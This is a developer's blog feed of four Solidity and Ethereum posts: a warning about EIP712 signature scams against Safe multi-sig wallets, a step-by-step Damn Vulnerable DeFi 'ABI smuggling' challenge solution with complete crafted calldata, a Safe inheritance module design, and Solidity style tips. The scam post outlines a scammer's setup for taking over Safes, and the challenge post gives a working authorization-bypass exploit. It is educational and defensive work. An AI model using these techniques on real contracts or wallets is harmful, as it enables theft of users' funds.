Forem: Benjamin

Transactionless scam

Benjamin — Thu, 09 Feb 2023 07:50:07 +0000

There has been an increasing number of scams via EIP712 signatures. A lot of people think that in order to lose tokens you need to execute an on-chain transaction, but that is not true.

Here is what to do when you are presented with an EIP712 signature:

1. Click on "Verify Contract Details" and check the contract that is requesting a signature. If you are claiming an NFT airdrop on a website, ask yourself why the verifying contract would be Uniswap's Permit2 or your Safe multi-sig wallet. In this example, the address is my development Gnosis Safe wallet

2. Inspect the "To" field to see what is happening
0x4a916e57fef455d6103FA67F0d67F61234e09f04

In this case, you can see that it is an ERC20 token and that its code is verified on Etherscan. This will help you decode the "Data" field. Usually calls to EOA(Externally Owned Account) will have empty "Data".

3. Copy the "Data" into ETH call data decoder and try to figure out what it is doing

In this example the input is:

0x095ea7b30000000000000000000000001a38a54e6d0007ad2d095d044bef7143ff46c167ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

And that gets us the result

{
  "allPossibilities": [
    {
      "function": "approve(address,uint256)",
      "params": [
        "0x1a38A54E6d0007Ad2D095d044bef7143ff46C167",
        "115792089237316195423570985008687907853269984665640564039457584007913129639935"
      ]
    }
  ]
}

4. Inspect other fields that you are signing and try to figure out what you are signing.

Now let's try to figure out what is happening.

My Safe multi-sig is a verifying contract (step 1) and it is requesting a gas-less signature.
This signature allows anybody to execute a safe transaction that does what the signer intended (signed it to do).
In this case, Safe would call to with data.
To is an ERC20 token, and we've decoded data in step 3, and saw that it is calling approve(0x1a38A54E6d0007Ad2D095d044bef7143ff46C167, 115792089237316195423570985008687907853269984665640564039457584007913129639935) The first parameter is the address to which we are approving our Token, and the second parameter is the amount. This big number is actually a maximum allowance amount.

If we were to sign this with a Safe multi-sig that has a threshold of 1, it would allow 0x1a38A54E6d0007Ad2D095d044bef7143ff46C167 address to spend all ERC20 "FREE (FTKN)" tokens that are in that Safe.

Potential attack vector for Safe multi-sig owners

Victim perspective

As a user, you visit a website offering NFTs or ERC20 tokens as rewards to eligible users.
After connecting your wallet, you discover that you are eligible for a reward.
You click "Claim Reward" and are prompted to sign a signature. Believing that the off-chain signature can't cause harm, you sign it.
Upon checking your wallet, you find that you've received a token as a reward and share it with your friends.
Eventually, you realize that your Gnosis Safe is no longer accessible.

Scammer perspective

The following is written from the inverse perspective to show how easy it can be to set up a scam.

Create a fake site for distributing NFT/ERC20 tokens that promotes rewards for eligible users.
When a user connects their wallet to check their eligibility, a series of API calls will be made to verify that the user owns a Safe Multi-Sig with funds with a Safe threshold of 1, meaning only one signature is required to add a new owner to the Safe.
Upon claiming their reward, present an 'addOwner' signature to their Safe Multi-Sig. After the user signs the transaction, your automated scripts will be triggered. One script will perform the airdrop to the user, while another will take over the Safe by removing the other owners.

My intention is not to teach people new scam methods, but to educate you so that you don't become a victim of this or similar scams.

Damn Vulnerable Defi V3 #15 ABI Smuggling solution

Benjamin — Fri, 27 Jan 2023 15:00:10 +0000

TLDR: Solution is at the end, you can copy & paste it

In the test setup, we can see that two permissions are set

const deployerPermission = await vault.getActionId('0x85fb709d', deployer.address, vault.address);
const playerPermission = await vault.getActionId('0xd9caed12', player.address, vault.address);

Deployer has the permission to access the function selector 0x85fb709d which is sweepFunds function in SelfAuthorizedVault.sol

The player, on the other hand, has access to the selector 0xd9caed12 which is withdraw function in SelfAuthorizedVault.sol.

Those two functions are protected with onlyThis modifiers, to prevent external access, meaning we can only call them through executein AuthorizedExecutor.sol

To take funds, we need to pass the auth part.

if (!permissions[getActionId(selector, msg.sender, target)]) {
  revert NotAllowed();
}

If we take a closer look at getActionId we can see that it uses keccak256(abi.encodePacked(selector, executor, target))

In our case, the player (msg.sender) is authorized only to to withdraw, but we want him to call sweepFunds.
We can accomplish that by altering call data.

First, let's take a look at how authorization of execute works.

function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
  // Read the 4-bytes selector at the beginning of `actionData`
  bytes4 selector;
  uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
  assembly {
    selector := calldataload(calldataOffset)
  }

This is telling us that the selector is 4 bytes at the offset 100 in calldata.

Let us craft our calldata by adding this code to abi-smuggling.challenge.js test

const sweepFundsCalldata = vault.interface.encodeFunctionData('sweepFunds', [recovery.address, token.address])
const data = vault.interface.encodeFunctionData('execute', [vault.address, sweepFundsCalldata])
console.log('Full calldata:', data)

Here, we are calling execute, and passing in two parameters:

target address
bytes calldata (this calldata is actually call to sweepFunds encoded (function selector, address receiver + address token)

This will log to our console:

0x1cff79cd000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000004485fb709d0000000000000000000000003c44cdddb6a900fa2b585dd299e03d12fa4293bc0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000

Now let us manually 'prettify' this calldata, and make it more human-readable.
(selector is between asterisks selector)

// 4 byte selector for 'execute'
0x1cff79cd
// + 32-byte padded address (1. param of execute)
000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512
// + 32-byte calldata offset (Everything else is 2. param of execute)
0000000000000000000000000000000000000000000000000000000000000040
// + 32-byte calldata length
0000000000000000000000000000000000000000000000000000000000000044
// actual calldata, selector is starting at offset 100 from the start of the calldata
**85fb709d**0000000000000000000000003c44cdddb6a900fa2b585dd299e03d12fa4293bc0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000

If we execute a transaction with this calldata

const tx = {
  to: vault.address,
  value: 0,
  data: data,
  gasLimit: 500000
}
await player.sendTransaction(tx)

We will get a revert with NotAllowed()

Now let's modify our calldata and recover the funds.

Because our second parameter is dynamic data(bytes), we need to learn more about how it is encoded.

ABI encoding of dynamic types (bytes, strings)

In the ABI Standard, dynamic types are encoded the following way:

The offset of the dynamic data
The length of the dynamic data
The actual value of the dynamic data.

Memory loc      Data
0x00            0000000000000000000000000000000000000000000000000000000000000020 // The offset of the data (32 in decimal)
0x20            000000000000000000000000000000000000000000000000000000000000000d // The length of the data in bytes (13 in decimal)
0x40            48656c6c6f2c20776f726c642100000000000000000000000000000000000000 // actual value

If you hex decode 48656c6c6f2c20776f726c6421 you will get "Hello, world!".

Finally, let us modify our calldata so that we can return the funds to recovery.address.

// execute selector
0x1cff79cd
// vault.address (first 32 bytes)
000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512
// offset -> start of the calldata (128 bytes in decimal - 4 x 32 bytes) (second 32 bytes)
0000000000000000000000000000000000000000000000000000000000000080
// empty data (third 32 bytes)
0000000000000000000000000000000000000000000000000000000000000000
// we inserted the selector at offset 100 from the start of entire calldata (fourth 32 bytes)
**d9caed12**00000000000000000000000000000000000000000000000000000000
// start of the calldata (calldata length) (0x44 = 128 in decimal) 4x32 bytes = 0x80 = 128 offset
0000000000000000000000000000000000000000000000000000000000000044
// sweepFunds calldata
85fb709d0000000000000000000000003C44CdDdB6a900fa2b585dd299e03d12FA4293BC0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000

So we planted d9caed12 in calldata so that the contract authorizes us, but by manipulating calldata, we are skipping that part in the actual code execution in external call.

Final code

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        await player.sendTransaction({
            to: vault.address,
            data: "0x1cff79cd000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000d9caed1200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004485fb709d0000000000000000000000003C44CdDdB6a900fa2b585dd299e03d12FA4293BC0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000"
        })
    });

Safe recovery module

Benjamin — Sun, 18 Dec 2022 11:23:38 +0000

Introduction

Safe is a smart contract wallet running on several blockchains that requires a minimum number of people to approve a transaction before it can occur (M-of-N). If for example, you have 3 main stakeholders in your business, you are able to set up the wallet to require approval from 2 out of 3 (2/3) or all 3 people before the transaction is sent. This assures that no single person could compromise the funds.

A lot of smart people use Safe to manage their funds. It is not uncommon to have 2/3 safe and to control all 3 signers.

One wallet can live in the browser (Metamask) Another one can be a hardware wallet (Ledger), and the third one can be a piece of paper written and stored in a drawer.

This is considered a good practice because if one gets compromised, no harm is done. Funds are stored in Safe.

Painful truth - motivation

Everybody dies, eventually. And crypto hasn't solved the problem of leaving your coins and tokens to loved ones.

I'm a motorcycle fan and I enjoy going on random rides, I'm aware of the risk that I'm exposing myself to, and while I'm doing my best to behave on the road, I can't vouch for the others. One day I was riding and thinking to myself "what if something happened to me?". Of course, I'm a fan of self-custody, and I keep my stuff on Safe. I'd want to leave my crypto to others, but I don't want them to be in control of my money and my precious jpegs while I'm still alive.

Solution

Safe owner pays a yearly fee and sets up notifications (SMS/Email) and a goodbye message.

Let's say that Alice wants to give away Safe to Bob after 2 years. She'd set up the recovery address to Bob's address and a recovery date timestamp 2 years in the future.

Fast forward 2 years in the future, the notification system would notify Alice that Safe will be transferred to Bob in 30 days. If Alice is unable to extend the period/cancel the ownership transfer. Bob would get notified and would get the goodbye message and the Safe ownership would be transferred to Bob.

How it works:

Safe recovery module and service

Gnosis Safe Modules enable additional access-control logic for your Gnosis Safe account. Essentially, every Gnosis Safe account is controlled by two means. By the account owners using their signer keys and by optional modules that have their own custom access logic.

Idea is to create a module and a service that will transfer safe ownership to some new address.

The solution consists of a few different parts

RecoveryRegistry (Immutable smart contract) that is storing the recovery date and a recovery address
RecoveryModule smart contract that is responsible for transferring ownership of a safe
Notification system - a system that notifies Safe owner and a new recovery address of what happened

Orange represents smart contracts, yellow represents web2 infrastructure.
When the time comes, the Owner is notified via SMS/Email. The execution service executes an on-chain transaction that initiates ownership transfer, and after a 30-day time lock finalizes it and notifies the recovery recipient via SMS/Email.

Best Solidity Practices (with examples)

Benjamin — Sun, 11 Dec 2022 09:23:53 +0000

Here is a short list of best Solidity practices (not in any particular order). I hope this helps you!

1. "Don't repeat yourself" (DRY)

You probably read this a million times during your previous web2 career, but somehow you still don't apply it.
You probably read this a milliom times during your previous web2 career, but somehow you still don't apply it.

Did you notice the typo in million when looking at the text?
Your brain is a slacker unless you are committed to reading every word letter by letter, it is easy unintentionally make mistakes.

2. Don't reinvent the wheel

Relax, and spend some time researching. Read other people's code. Bookmark/star good repositories that you can reference and that can help you with your solutions.

Use battle-tested and audited code. OpenZeppelin, Solmate.

3. Use language features

Read the Solidity docs, the language has a lot of cool features.

// bad
uint256 public time = 432000;
// semi-bad (comment is helping)
uint256 public time = 432000; // 5 days
// good
uint256 public time = 5 days;

// bad
uint8 public constant MAX_LIMIT = 255;
// good
uint8 public constant MAX_LIMIT = type(uint8).max;

4. Don't put unnecessary stuff in your smart contracts

Do you need to have it stored on the chain? If it is not necessary for your smart contract, use the event, or even better, remove it completely

Let's say that your front end wants to have a fancy title where it says "DoSomething was called {X} times."

You could add a counter to your smart contract, and have your front end do an RPC call and read it directly from the chain.
Soon enough your dapp will have a lot of RPC calls, and it will become slow + your transactions will cost more gas because you are storing and updating additional data.

// Bad
uint258 public somethingCounter;

function doSomething() external {
  somethingCounter++;
  // logic
}

// Good
event DidSomething();

function doSomething() external {
  // logic
  emit DidSomething()
}

// You don't need to have a counter and 
// store that information on the chain. 
// Use The graph protocol to index events 
// and have that information there.

5. Use NatSpec and write comments on your code. Good example of how it should be done (bonus points for assembly)

The code should be self-documenting. But sometimes it can be really useful to add a comment that explains your taught process. Think of it as 'helping your future self'.

Bonus tip: Don't trust other people's comments. Verify yourself. Better safe than sorry, especially when you are doing some integration with another protocol.

6. Use private/internal visibility for state variables

This way you have more control. It is also a good practice to name private/internal variables with the underscore _variableName. This also helps with naming in other parts of the smart contract. (demonstrated in the example)

7. Use inheritance to your advantage

Instead of mixing logic for different things, split the logic into a different smart contract. A lot of projects have Pausable functionality that only the owner can trigger. Instead of writing that logic in your Core smart contract, it is better to write it in a separate one. Because of that, you won't see the OwnablePausable smart contract from OpenZeppelin. Instead, the logic for that concerns the owner is in Ownable, and the logic for pausing is in Pausable. Keep that in mind when designing smart contracts.

8. Security & readability > gas optimisations

Readability means more security, as there is a better chance that somebody will see the bug before it reaches production.

Example

// No Natspec
contract Something {
    address public owner;
    uint256 public multiplier = 123;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address _owner) {
        // Repetitive code, it is easy to forget to emit an event
        owner = _owner;
        emit OwnershipTransferred(address(0), _owner);
        // ...
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Unauthorized");
        _;
    }

    // Because our owner state variable is `public owner`
    // We often see these ugly parameter names "_owner" or "owner_"
    function transferOwnership(address _owner) onlyOwner {
        // Repetitive code
        owner = _owner;
        emit OwnershipTransferred(address(0), _owner);
    }

    function doSomething() external returns(uint256) {
       uint256 _multiplier = multiplier;
       // ...
    }

    // ... other code
}

In this simple example, you can see that the transferOwnership and constructor look almost identical.

Instead of repeating yourself, you can use an internal function that will clean up this code and make things more readable for you, your team, and your auditors.

Good code example

/**
 * @title  Something
 * @author Author name / Organization name
 * @notice Implementation of something...
 * @custom Security-contact email@email.com
 */
contract Something {
    address private _owner;
    uint256 private _multiplier = 123;

    // Events and custom errors can be moved to the interface
    // ISomething.sol 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address owner) {
        _transferOwnership(owner);
        // ...
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(msg.sender == _owner, "Unauthorized");
        _;
    }

    /**
     * @dev Does something.
     */
    function doSomething() external returns(uint256) {
       uint256 multiplier = _multiplier;

       // use multiplier from memory to save some gas 
       // (MLOAD is cheaper than SLOAD)
       // No need to use multiplierMemory, 
       // _multiplier, multiplier_, 
       // cachedMultiplier or whatever weird variable name
       // you can come up to
       // ..  
    }

    /**
     * @param owner - Address of a new owner
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address owner) onlyOwner {
        _transferOwnership(owner);
    }

    /**
     * @param owner - Address of a new owner
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address owner) internal {
        _owner = owner;
        emit OwnershipTransferred(address(0), owner);
    }
// Because the logic for transferring ownership is contained 
// in its internal function,
// you just need to review it once and make sure
// that it doesn't contain any bugs, 
// and use it whenever you need to transfer ownership. 
    // ...
}

Please reach out if you have any questions/suggestions.